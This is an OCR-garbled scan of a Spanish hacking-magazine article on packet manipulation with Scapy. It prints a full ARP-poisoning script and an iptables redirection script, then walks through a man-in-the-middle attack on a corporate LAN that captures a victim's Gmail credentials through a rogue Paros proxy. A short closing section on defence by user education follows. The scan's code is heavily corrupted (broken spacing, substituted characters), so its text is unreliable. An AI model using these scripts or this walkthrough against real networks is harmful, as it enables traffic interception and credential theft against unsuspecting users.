# Co rr eo : [email protected]
Como sea, aqul va el script que
envenena la cache ARP del router--------..,Li":!1:::s:-:a:t:=a-::r::"dlo....,2"i'".----:a:-:r==p-_':::'p~1n::::-:g::-.-:p~y~--------.I
F o n f . v e r b=O
a n s , u n a n s = s r p(E th e r ( d s t = " f f : f f : f f :f f : f f : f f " )/AR P(pd s t = s y s . a r g v[ l j),
t i m e o u t =2)
f o r s e n d , r e s i n a n s :
pr in t r es .s pr in tf (" %Et he r. sr c% --> %ARP .ps rc%" )
11 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
0=00 00
: : , - = crack-.-,- . .ckxcrock,es
hackwww,ho
* -*- coding: utf-8 -*-
from scapy.all import *
import sys
import time
* ARP Poison (a la ARPSpoof)
* Programador: Larry
* Correa: [email protected]
* Esta funcion envia una respuesta ARP al host que indicamos en los argumentos
def respuesta_arp (pdst,hwdst,psrc,hwsrc,iface):
arp_reply = Ether(dst=hwdst)/ARP(pdst=pdst,hwdst=hwdst,
psrc=psrc, hwsrc=hwsrc,op="is-at")
sendp(arp_reply, iface=iface)
def main():
* Control amos la cantidad de argumentos
if len(sys.argv) 1= 4:print "Usa: python "+sys.argv[Oj+ " <router> <net_target> interfaz\n"
print "Ejemplo: python "+sys.argv[Oj+" 192.168.1.1 192.168.1.0/24 wlanO"
print "Ejemplo: python "+sys.argv[Oj+" 192.168.0.1 192.168.0.* wlanO"
sys.exit(l)
conf.verb=O
* Aca se define el tipo de tecnica que vamos a usar para envenenar la cache
tecnica = "reply"
router_ip
net
iface
sys.argv[lj
sys.argv[2j
sys.argv[3j
* Obtenemos las direcciones fisicas de las IPs involucradas.
* Hacemos una peticion ARP para obtener la MAC del router.
arp_router = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=router_ip),
iface=iface, retry=-2, timeout=2)
* En cas a que no haya respuestas a la peticion ARP que hicimos ...
if (arp_router == None):
print "El router "+router_ip+" no responde a la peticion ARP. Abortando •.. "
sys.exit(l)
* De esa peticion obtenemos la informacion que necesitamos.
router mac arp_router[ARPj.hwsrc * MAC de router
mi_ip arp_router[ARPj.pdst * IP del atacante
mi mac arp_router[ARPj.hwdst * MAC del atacante
* Ahara veamos las MACs de los hosts "vivos" en la red.
ans_net,unans_net= srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net),iface=iface, retry=-2, timeout=2)
* En la lista ans_net se guardan las duplas estimulos-respuestas
* a las peticiones que hicimos.
* Guardemos las duplas IP-MACs en dos listas para futuro usa.
hosts _ips [l
hosts _macs = l l
* Si el router esta dentro de la red indicada, no nos interesa ...
for estimulo,respuesta in ans_net:
if (respuesta[ARPj.psrc 1= router_ip):
hosts_ips.append(respuesta[ARPj.psrc)
hosts_macs.append(respuesta[ARPj.hwsrc)
* En cas a de que los hosts de la red no respondan a las peticiones ARP
Listado 3. arp_poison.py (lera parte)
1 2 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
0=00 0_0
: : , - = crack-.-,- . .c k K C roc k _ e sww-ho
* a bo r t a m o s e l pr o g r a m a •••
i f (l e n (ho s t s i ps ) == 0):
pr i n t " Ni n g 6n ho s t d e l a r e d e s pe ci f i ca d a r e s po n d e a l a s pe t i ci o n e s ARP . Abo r t a n d o . . . . .
sys . exi t(1)
* Im pr i m i m o s e n pa n t a l l a l a i n f o r m a ci 6n d e l e n ve n e n a m i e n t o
pr i n t ·'TARGET: IP = " +r o u t e r _i p+" MAC = " +r o u t e r _m a c
pr i n t " \n "
f o r i i n xr an ge (O,l en (ho st s i ps )):
pr i n t " VICTIM: IP =" +ho st s_i ps [i l +" MAC = " +ho st s _m acs [i l
* ARP P oi so ni ng a l a a r ps po o f (e n vi a m o s pe t i ci o n e s ARP a l o s ho s t s
* t a r g e t s a u n qu e n o pi d i e r o n n i n g u n a )
* De e s a f o r m a e n ve n a m o s l a ca che ARP d e l o s t a r g e t s .
t ry:
whi l e 1 :
* Es pe r a m o s u n o s s e g u n d o s a n t e s d e ca d a r o n d a d e e n ve n e n a m i e n t o .
f o r i i n xr an ge (O,l en (ho st s i ps )):
r e s pu e s t a _a r p ( ho s t s _i ps [ i l, ho s t s _m a cs [i l , ro u t e r _i p ,m i _ ma c ,i f a ce )
r e s pu e s t a _a r p ( r ou t e r _i p ,r o u t e r _m a c, ho s t s _i ps [ i l, m i_ m ac ,i f a ce )
t i m e . s l e ep(S)
except:
pr i n t " Te r m in an d o e l e n ve ne n am i en to . "
pr i n t " Ar r e g l a n d o l a s t a bl a s ARP . . . . .
t i m e . s l e ep(2)
* Ar r e g l a m o s l a s t a bl a s d e ARP d e l o s ho s t s (po r l a s d u d a s m a n d a m o s S r e s pu e s t a s )
f o r j i n xr a n ge (1 ,S) :
f o r i i n xr an ge (O,l en (ho st s i ps )):
r e s pu e s ta a r p (h os t s i ps [i l ,ho s t s_m a cs [i l ,r o u te r _i p,r o u te r _m a c,i f a ce )
r e s pu e s t a =a r p ( r ou t e r _i p ,r o u t e r _m a c, ho s t s _i ps [ i l, ho s t s _m a cs [i l , if a ce )
pr in t " Li st o!"
~ a i n ( )
4. Ataque MITM
L1stado 3 (cont.). arp_po 1son.py (2da parte)
Para ir terminando vamos a lIevar a la practlca
un ataque MITM usando la herramienta de ARP
Poison (arp_posion.py) que desarrollamos en
este articulo. Antes de empezar, les recuerdo
que un ataque MITM es mucho mas que
simplemente engariar a las vfctimas
envenenado sus tablas ARP. Dependiendo de 1 0
que uno quiera hacer, 1 0 mas probable es que se
necesiten herramientas "extras" para
redireccionar y modificar adecuadamente los
paquetes que pasan por nuestra rnaqulna
(atacante) como resultado del ARP poisoning.
Algunas aplicaciones, como ettercap, tienen un
mecanismo interno de direccionamiento de
paquetes de modo que no se necesiten
programas "extras" para hacer un ataque MITM.
En nuestro caso, vamos a necesitar de dos
herramientas aparte del script arp_poison.py:
1.IPT ABLES (esta en el kernel de linux)
2. Paros Proxy (servidor proxy
www.parosproxy.org)
4.1 Ataque MITM en una LAN
corporativa/universitaria.
Vamos a presentar el caso en que la vktima se
encuentra en una red interna dentro del ambito
laboral 0 academlco, En la mayorfa de los casos,
en un ambiente corporativo y/o universitario se
exige que un usuario deba pasar todas sus
conexiones al mundo exterior a traves de un
servidor proxy (por 1 0 menos, esto pasa en mi
caso particular). En este escenario (ver Figura 7),
tanto la vktima como el atacante estan en una
misma LAN y ambos deben configurar sus
exploradores Web y otras aplicaciones similares
para usar el servidor proxy. EI principal objetivo
de esto es separar a los usuarios internos del
13 www.ha CK.X(rack.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack0=00 00
: : , - = crack- . -_ .ckxcrack.esww.ha
resto de Internet, manejando todas las
conexiones hacia el exterior. En otras palabras,
el proxy es un intermediario en el que todosconfiamos (a "trusted man in the middle").
La idea del ataque MITM que vamos a hacer es
engariar al usuario con la IP 192.168.1.108 de
modo que, en lugar de conectarse al proxy de la
empresa proxy.empresa.gov.ar (que
escucha en el puerto 3128), se conecte a un
proxy "falso" que se encuentra a la escucha en
nuestra rnaqulna. EI proxy "falso" que esta en
nuestra maqulna debe estar concatenado
adecuadamente con el proxy de la empresa
para que sea posible dar salida a la WAN al
usuario vfctima (una cadena de dos proxies).
Para realizar este ataque debemos hacer 1 0
siguiente:
1. Engaftar a la victima de modo que piense
que nuestra maquina es el router y
viceversa. Esto 1 0 hacemos con ARP Posoning
usando el script que programamos en la secci6n
--- Comunicaci6n normal
___ Ataque MITM
anterior.
2. Montar un proxy falso en nuestra
maquina y concatenarlo corredamente conel de la empresa. Esto 1 0 hacemos con Paros
Proxy (si quieren puede usar cualquier servidor
proxy).
3. Redireccionar adecuadamente los
paquetes que lIegan a nuestra maquina de
modo se conecten al proxy falso. Esto se
puede lIevar a cabo facllmente utilizando
IPTABLES.
Si logramos hacer esto, con el Paros Proxy es
posible capturar todo el traflco web de la
vfctima y comprometer la integridad y
privacidad de sus datos. Para simular el
escenario mostrado en la Figura 7 voy a utilizar
una rnaqulna virtual que vendrfa a ser el usuario
vfctima de lascircunstancias.
( )
lnternet'
Router! ,IP - 192.168.1.1
Switch MAC - 00:1c:10:**:**:**
Usuario
IP - 192,168,1.108
MAC - 08:00:27:**:**:**Paras Proxy
listen port: 3128
Larry
IP - 192,168,1.106
MAC - 00:22:69:**:**:**
F i g u r a 7 . E s c e n a r i o t i p i c o q u e r e p r e s e n t a u n a L A N e n u n a m b i e n t ec o r p o r a t i v o / u n i v e r s i t a r i o .
14
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
o c::J 00 00
;~.. crack_ .ckxcrack.esww.ha
4.2 Configuraci6n de Paros Proxy y
direccionamiento de paquetes.
Antes de envenenar la cache ARPde la vfctima,
vamos a configurar adecuadamente el proxy
"faIso" en nuestra rnaquina y el
direccionamiento de los paquetes con
IPTABLES. Para configurar Paros Proxy 1 0
abrimos (con Java Runtime Enviroment) y
vamos a las opciones (Options) en el menu de
herramientas (Tools). En el menu Local Proxy
colocamos nuestra IP interna y alqun puerto de
escucha (que puede ser el mismo en el que
escucha el proxy de la empresa) y en el menu
Connection (donde dice "use proxy
chain")colocamos el nombre de dominic 0 la IP
del proxy de la empresa, como vemos en la
Figura 8 y en la Figura 9.
Con esto basta para tener funcionando Paros
Proxy en nuestra maqulna, Pueden usar nmap
para comprobar que, efectivamente, el puerto
en el que configuraron el proxy esta abierto.
Recuerden que si quieren abrir un puerto menor
a 1024 deben hacerlo con permisos de root.
A continuaci6n, vamos a usar IPTABLESpara
direccionar todos los paquetes que lIegan a
nuestra rnaqulna al puerto donde esta
escuchando Paros Proxy. No voy a explicar nada
relacionado con IPTABLES,simplemente voy a
decir que el script del Listado 4 en bash/shell
tiene como efecto redireccionar todos los
paquetes que tienen un puerto de destino igual
a 3128 (que seguramente van a
proxy.empresa.gov.ar) al mismo puerto pero de
nuestra rnaqulna, donde esta escuchando Paros
Proxy.
Simplemente guardamos el Listado 4 en un
archivo de texto plano, Ie damos permisos de
ejecuci6n y 1 0 ejecutamos en consola (Iuego de
setear las variables INTERFAZy PROXYFALSO
con nuestra interfaz e IP). Para comprobar que
todo este bien, ejecutamos el comando
"iptables -t nat -L" cuya salida debe ser como la
Untitled Session - Perce
File Edit View Analyse Report Tools: Help-
Sites, Request Response Trap
[J Sites
j~lJ Options '0U'3i
'9- Options ILocal proxy 1
~co"".ctO"Local proxy
~'""~"".'""
Address (eq lccalhest. 127.0.0.1) 1192.16811061
Certificate Port Ceq 80801 13128 1
Vew
Trap Set your browser proxy sett ing using the above. The
Spiderhttp port and https port must be the same port as
above.Scanner
~I CancelI
( IHisto 5 ider Alerts: Out ut
F i g u r a 8 . P a r o s P r o x y a l a e s c u c h a e n e l p u e r t o 3 1 2 8 .
1 5
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack
0=00 00
: '':crack-.-.ckxcrack.esww.ha
Options
IjI Opt,....io_n_s_ -.
- !=onnectionJ
- Local proxy- Authentication
- Certificate
-View
-Trap
- Spider
- Scanner
I,onnectionUse proxy chain
~ Use an outgoing proxy server
:Address/Domain Name:
Port Ceq 8080):
Iproq. empresa~ gov.d
13128 ISkip IPaddress or domain names below (* for
wildcard characters, names separate by;):
I I . : JProxy authentication
DOutgoing proxy server requires authentication
Realm:
User name:
Password (stored in dear-text):
OK I I Cancel I-
F i g u r a 9 . C o n c a t e n a n d o P a r o s P r o x y c o n p r o x y . e m p r e s a . g o v . a r .
de la Figura 10. En dicha figura tam bien se A continuaci6n, una vez que tenemos
muestra la tabla ARP del usuario con la IP configurado el proxy y el redireccionamiento de
192.168.1.108 (es una rnaquina virtual con paquetes con IPTABLES,enemos que engariar aDebian Lenny). la victima de modo que mande los paquetes
que originalmente iban al router a nuestra
4.3 Envenenamiento de la cache ARP. rnaquina. Para hacer eso, ejecutamos el script
que programamos en la secci6n anterior, como
1I!/bin/sh
INTERFAZ="athO"
PROXYFALSO='192.168.1.106' II Aqu i va n u e s t r a IP i n t e r n a
e cho 1 > Iproc/sys/net/ipv41ip f o r w a r d
e cho 0 > Iproc/sys/n e t/ipv4/con f/$INTERFAZ/s e n d_r e d i r ec t s
II Bo r r a m o s l a s r e g l a s (po r l a s d u d a s qu e t e n g a m o s u n f i r e wa l l ) ••i pt abl es --f lu sh
i pt abl es --ze ro
i pt a bl e s --d e le t e-cha i n
i pt a bl e s -F -t n a t
i pt abl es --a ppe n d F ORWARD --i n -i nt er fa ce $INTERF AZ --j um p ACCEP T
i pt a bl e s --t a bl e n a t --a ppe n d P OSTROUTING --o u t -i n t e r f a ce $INTERF AZ \
- -j u m p M AS QU ER AD E
II Re d i r e cci o n a m o s l o s pa qu e t e s a P a r o s P r o xy, qu e e s t a e s cu cha n d o e n n u e s t r a
II m a qu i n a e n e l pu e r t o 31 28.
i pt a bl e s -t n a t -A P REROUTING -p t cp --d po r t 31 28 --j u m p DNAT \
--t o -d e st i na t io n $ PROX YF ALSO
L 1 s t a d o 4 . C o n f 1 g u r a c 1 o n d e I P T A B L E S
16
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hacko = a0 00
=':crack. . . ..c k x c roc k . e aww.ho
M_aqu in a Q_ ispo si ti Y' os Ay !: !d a
f! Apicaciones Luqares Sistema W •larry@larry-l: '""'
rry# arp -a
? (192.168.1.1S6) at e8:22:69:.:.:.I[ether] on eth I
? (192.168.1.1) at 88:1(:18:.:.:. [ether] 0" eth'llarry-I: /hcne/Lar rys
Oar.~¥. to!J • ~~Ji~Ilfrrq
jue 13de ene . 12:09 ~o ....
F i g u r a 1 9 . C o n f i g u r a c i o n d e I P T A B L E S y t a b l a A R P d e l a
se muestra en la Figura 11.Vemos como la tabla
ARP de la vfctima resulta modificada y hay dos
entradas con la misma MAC: una asociada anuestra IP {que es la entrada correcta} y la otra
correspondiente al router {con la misma MAC
que nuestra rnaqulna).
En estas condiciones, todo el traflco que la
vfctima intercambia con internet a traves del
proxy de la empresa ahora pasa por nuestra
computadora y utiliza el Paros Proxy como
intermediario.
Por 1 0 tanto, todas la peticiones web puedencapturarse en tiempo real con Paros Proxy como
se ve en la Figura 12. De hecho, se pueden
programar filtros y modificarlas a gusto tarnblen
en tiempo real {basta con estudiar un poco el
protocolo HTTP}. Cualquier password 0 clave
que sea ingresada por el usuario usando el
metoda POSTpuede ser vista en texto plano en
la interfaz grafica de Paros Proxy {por ejemplo,
pueden probar loguearse a la interfaz
administrativa del router}.
4.4 EI rol del protocolo SSL (Secure
Socket Layer).
En la secci6n anterior se asumi6 que las
comunicaciones entre el cliente y el servidor son
sin cifrar. En ese caso, un ataque MITM puede
comprometer facllmente la confidencialidad,
integridad y disponibilidad de los datos. EI
protocolo SSL utiliza la criptograffa para
asegurar la privacidad e integridad de los datos
y un mecanisme de autenticaci6n cliente-
servidor.
Los paquetes SSL cifrados generalmente
atraviesan los dispositivos de red {como routers
o switches} sin ser afectados. Sin embargo, los
servidores proxies trabajan en un nivel mas alto
del modele 051 que otros dispositivos de red.
Como tal, los proxies proveen la posibilidad de
iniciar y terminar conexiones SSL.
Los servidores corporativosroxies
17 www.hacKx(ra·(·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hack crackh (I r (I C kw w e a
l ar ry : pyt hon
Debien-S [Corriendoj - Oracle VMvrrtuelacx
! :: ::1aquina prsposnvos Ay!:!da
f! Aplicacionas Lugares Sistema @•
rry-1:/ arry# arp -B
(192.168.1.1) at 8e:22:69:.:.:. [ether ] 0 " etm
(192.168.1.186) at 88:22:69:.:.:. [ether] on eth l
larry-1:/home/larry# I
r;w;~~t~~~~ral ~~
Ilfrrq
_Ll
jue 13de er ie. 12:17 [ j } o A
Figura 11. Envenenamiento de la cache ARP de la victima.
Untitled session - Pares
Eile Edit View Analyse Report Tools Help
Sites I r~R~e~q~u~e~st~~R~e~s~p~o~n~s~e~~T~ra~p~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~o i o - L : : J ht tp: / /wwwJJac lCKcrack.esJ .... IGET h t tp : //W ''WW ,h a ci < :< c ra ck , es H T I P ll ,l I : I
I ~
~g.a~::~:um 'PhP Host· WWWhaCkxcraCkeS·"1
Lless I:===.=====r==l------------------...·14,maoes • IRawView 1 · 1
j_-:S 'ut: illLP:,l/lJUlIIoW. acuxcrack.esrrcrum.pnp
14 GET http: //W'WVof .haclc<crackes/css/stylesheet.css
18 GET http://boscQ,coguan,com!senaernn=af7 asdbcsccnerd-u aoi 0
20 GET http://bosco,coguan,com!sender!ag.php
21 GET http://bosco02.coguan.com/iframes/5/13010x35357,html?var=
32 GET http://bosco,coguan,com!sendernn=aab5c5f8&zoneici=13000»r.OT ./lh
LUU uc L"It5UmS
200 OK 3091ms
200 OK 6863ms
200 Ok 918ms
200 OK 906ms
200 OK 1777msOM , ne7,
Debien-S [Ccrriendo] - Oracle VMvrrtuelacx
History Spider Alerts Output
!.
Inicio
e ~ (ij . ~Hist6rico Marcadores Mas pequenc Mas grande
Figura 12.
[ue 13 de ene. 12:20 ~c A
Captura del trafico web de la victima con Paros Proxy.
18 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hacko = a0 00
=':crack-. -.c k x c roc k . e aww.ho
normalmente no estan configurados para
establecer conexiones SSL. De esta forma, los
clientes dentro de la empresa inician unaconexlon segura directamente con el servidor
web y se aseguran que los datos permanecen
cifrados en toda la ruta de comunlcaclon. En
cambio, hay otro tipos de proxies (como el
Pares, por ejemplo) que estan espedficamente
disenados para interceptar conexiones seguras.
En la Figura 13 se muestra como este tipo de
proxies pueden aceptar y reiniciar conexiones
SSLy por 1 0 tanto guardar los datos en texto
plano. Estos servidores proxies usan sus propios
certificados para iniciar y terminar las
conexiones seguras.
Una parte esencial del protocolo SSL es la
autentiflcaclon del servidor que ayuda al cliente
a validar la identidad del servidor. Cuando un
cliente trata de iniciar una conexion SSL, el
explorador web del cliente examina la
informacion contenida en el certificado del
servidor. Si el certificado no es valldo 0 esta
caducado, el explorador advierte de la sltuaclonal cliente. Muchas veces los usuarios ignoran
completamente la advertencia del explorador
sin pensar en lasconsecuencias.
Paraterminar con el articulo, vamos a iniciar una
sesion segura desde gmail con la rnaqulna
virtual, que representa la vfctima en el ataque
MITM que estamos simulando. En la Figura 14
vemos la advertencia inocua por parte delexplorador de que el certificado de seguridad
no esvalldo,
Con OPENSSLustedes pueden crear sus propios
certificados y utilizarlos con el Paros Proxy, pero
la vfctima va a seguir recibiendo una
advertencia ya que dichos certificados son self-
signed (no proveen una verflcaclon de una
Autoridad de Certlflcaclon).
La mayorfa de los usuarios (con bajos 0 nulos
conocimientos en seguridad informatica) no son
conscientes de las consecuencias por ignorar
una advertencia de este tipo. Por 1 0 tanto, van a
aceptar el certificado no valldo y continuar con
la conexion segura. Como vemos en la Figura
15, en la interfaz de Paros Proxy, obtenemos en
texto plano el nombre de usuario y la
contrasena de gmail del usuario de la rnaqulna
virtual.
Si quisieran hacer esto mismo en una LANdonde los usuarios no usan un proxy como
intermediario en la conexlon a internet, deben
redigir todo el traflco del puerto 80 y el puerto
443 al puerto 3128 de su rnaqulna, donde Paros
Proxy esta a la escucha. Para esto, hay que
modificar ligeramente el script en bash/shell
••••
Servidor Falso : Cliente Falso
••••
Usuario
IP - 192.168.1.108
MAC- 08:00:27:**:**:**
Internet
Paros Proxy
listen port: 3128
F i g u r a 1 3 . P r o x y f a 1 s o e n e 1 m e d i o d e u n a c o n e x i 6 n s e g u r a .
19 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
hackw w w
~u
f : :1_aqu ina
• T
A Y b ! . d a
taQispositivos
•dalanta eiRecargar Histcnco
X a I AccedE
Atras Inicioetener
@ J h t t p : / / W w W . g o o g l e . G o m . a r /
6Desea aceptar la informacion de
seguridad incorrecta?
EI sitio «www.qcoqla.ccm» devolvi6 Informacion de
segur idad para «Paras», Esposible que alguien este
in terceptan do su com un icaci6n para ob ten er su info rm ac i6n
confidencial.
Deberfa aceptar 121nformacion de seguridad s610 si contra
en «\NItIfW,google,com» y «pares».
I. ~er certificado 'I Q~ancelar 6ceptar
crack(I C k e s
Deb tan -S I ce rr te nd cj - O rac le VMv tr tu al ao x
Marc~ores I Mas s., Mas~nde
."~ .. A
C
Organizaci6n: unknown
Undad crqanizetive: Paras
No se pudo verificar este certificado porque he caducado.
Propiedades de certificados
Emitido a
N om bre co mu n: Paras
Unknownrqanizacicn:
undad organ izat iva: paros
Nu-nero de serie: 3D:54:E1:CA
Emitido por
Nombre comuno
Pares
Validez
10/08/02
08/11/02
93:CB:AF:1C:B7:87:AO:46.36.7C.6E:DD.8A.FB:10:6F:OB:D9.3l:EA
8E:F8:D6:C3:75:46:8C:EO:7B:74:BD:6E:E6:72:22:7D
X~errar I
i < ~ ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - = = - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ C J ~ < >@O;;? ~ 0 @ ; I2l ctrl perecho
F i g u r a 1 4 . A d v e r t e n c i a d e l e x p l o r a d o r d e q u e e l c e r t i f i c a d o d e s e g u r i d a d n o e sv a l i d o .
Sites l Request Response Trap
lU p . / ' ; ; ; ; " , w 3 , o r g
tUhttp://zone146,hotwords,com,br
j'Uhttcs.s/marl.qccqle.corn
jUttcs.vssl.qocqle-analyttcs.com
?-u h t t p s :/ / W W W . g o o g l e . c o m
r - 0GET:setgmail(zw)
r
-Ll a c c o u n t s
tD . GET . servlc.eLOgin(bSV'continue, hi,Itmpl,Itmplcache, pa.SSive,m,sc
o GET:SetvlceLo gln(contlnu e,fss,go, hi,Itmpi,pas Slve,serJlce,tab)
o lE.os ~ervlceLogi Auth(Email,GALX,P.asswd,asts,contl· ue,dsh,hl,1
o-.~ images1fc--r---===="--,,---------,------------.c-i-1 IRawewH
e:uEile Edit View Analyse Report Tools Help
Untitled Session - Peres
...._ OSThttps:/{wIMN,google.com/accounts/SeNiceLoginAuth HTIP/1.1
~ost: www.qcoqle.com~ser-Agent: Mozllla/5,O (XU: U: Llnux i686: en: rv:1.9,Q,13J Gecko/20D80528 Epiphany/2,22 Paros/3,2,13capt: text/ht ml,applicatio njxhtml-r xml.ap plicat Ion/Xml:q= O.9,*/*: q=O.8cept-Language: es-ar.es.q-u.s
p~~~lii~~~~soeJ:ISO-8859-1, utf-8: q=O.7, *: q=O. 7
mpl-default<mplcache-2&Continue-http%3A%2F%2Fmail.google,com%2Fmail%2F%3Fhl%3Des%26tab%3Dwm&s~ice=mail&rm=false&dsh=-9020391889136558909<mpl=defaul~mpl=default&scc=l&timeStmp=&secok=&GAL.X=WFBtFj8_QHW&Email-larW40haclo::crack.es&passwd--=_&rmShown=l&signln=Acceder&asts=
Debien-S [Ccrrtendo] - Oracle VMvrrtuelacx
Maqu ina Dispcs iti vcs Ay !!da
i!Aplicac iones Lugares Si stema W II ~ue 13 de ene 12'25 ~o A
1 - 4 de 4
6rchivo Editar "fer lr M_arcadores eolepes Ayyda
O L I ~ C ~ o ~ r r ~ e ~ o ~ d ~ e ~ H ~ a ~ c ~ k ~ x ~ C ~ ' a ~ c ~ K ~ - ~ R ~ . ~ c i ~ b ~ i H ~ o ~ s ~ ~ 3 ~ l _ - ~ I ~ a ~ r r y ~ @ ~ h ~ a ~ c ~ k x ~ c r ~ a ~ c ~ k ~ , e ~ s ~ ~I-~
aPacarqar lnicic
9 I i ' i I ~ @ .Histcnco Marcadcres Mas pequenc Mas grande
+ T •
Atras Adelante Detener
J I 1 ( https :~mail.google ,com/mallnhl= eeSishva> 1#inbox
Correa Calendar Docs Sites Mas T larry@hack)(crack.es: I ccnfleu-ecto-i I Ayuda I Salir
I c _ _ j l l Bus~ar mens,; ;je II Bus .. :, ;; r en I ,; ;Web I ~usgueda
1 3 B 1
()
@O;;? ~ LIO l l' @ [ £ J et r lD e re c hc A !
F i g u r a 1 5 . N o m b r e d e u s u a r i o y c o n t r a s e n a d e l a v i c t i m a .
20 www.heCKx(ra·c·K.es
5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com
http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii
www.ho
o = a0 00
: : '-II crack-.-,- . .c k K C roc k . e s
hack
.! :1 aq u in a Q _ is po sit iv os A Y. h! da
r Apicacicnes Luqares Sistema @iii
\98r.~8te~~n:lijf.lal!l~
I1>Jrrl'
arp -a
? [192.158.1.1) at 88:22:69:.:.:. [ether] on ethl
? [192.168.1.186) at 88:22:69:.:.:. [ether] on ethl
larry-l:/home/larry# arp -a
? [192.168.1.185) at 88:22:59:.:.:. [ether] on eth1
? [192.168.1.1) at 88:1C:18:.:.:. [ether] on ethi
larry-l:/home/larry# I
jue 13de ene. 12:28 ~o A
larry@larry-l: ....
Figura 16. Finalizado del envenenamiento ARP.
para configurar las reglas de IPTABLES
adecuadamente (1 0 dejo como tarea :-). 0pueden usar sslstrip que directamente evita por
completo el inicio de una conexion segura.
Espero que este articulo les haya gustado ycualquier duda pueden encontrarme en el foro
de HackxCrack 0 mandarme un mail a
[email protected] y hasta la proxima!
Finalmente, terminamos el envenenamiento
ARPy, como vemos en la Figura 16, la tabla ARP
de la vlctima vuelve a la normalidad (como
estabaantes de que iniciemos el ataque).
5. Conclusion
EI ataque MITM 0 de "hombre en el medio"
conceptual mente es muy facil de entender y de
lIevar a la practice inclusive por individuos que
no tienen conocimientos profundos sobre
protocol os y redes. La mejor defensa contra
ellos no son parches ni actualizaciones de
software, sino la educaclon sobre temas de
seguridad de la informacion y la precaudon en
el manejo de datos sensibles en redes en las
cuales no confiamos.